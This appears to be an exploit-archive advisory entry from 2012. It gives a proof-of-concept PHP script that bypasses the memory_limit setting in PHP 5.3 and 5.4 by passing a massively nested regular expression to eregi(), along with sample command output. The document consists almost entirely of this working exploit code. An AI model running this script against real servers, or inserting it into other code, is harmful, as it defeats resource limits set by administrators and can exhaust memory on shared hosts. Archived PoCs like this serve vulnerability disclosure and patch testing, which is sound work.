PHP 5.4 5.3 memory_limit bypass poc

2012.03.30
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-399

<? /* PHP 5.4 5.3 memory_limit bypass exploit poc by Maksymilian Arciemowicz http://cxsecurity.com/ cxib [ a.T] cxsecurity [ d0t] com To show memory_limit in PHP # php /www/memlimpoc.php 1 35000000 PHP Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 35000001 bytes) in /var/www/memlimpoc.php on line 12 Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 35000001 bytes) in /var/www/memlimpoc.php on line 12 and try this # php /www/memlimpoc.php 2 memory_limit bypassed */ ini_set("memory_limit","32M"); if($argv[1]==1) $sss=str_repeat("A",$argv[2]); elseif($argv[1]==2) eregi("(.?)(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((.*){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}","a"); ?>

References:

http://cxsecurity.com/research/102


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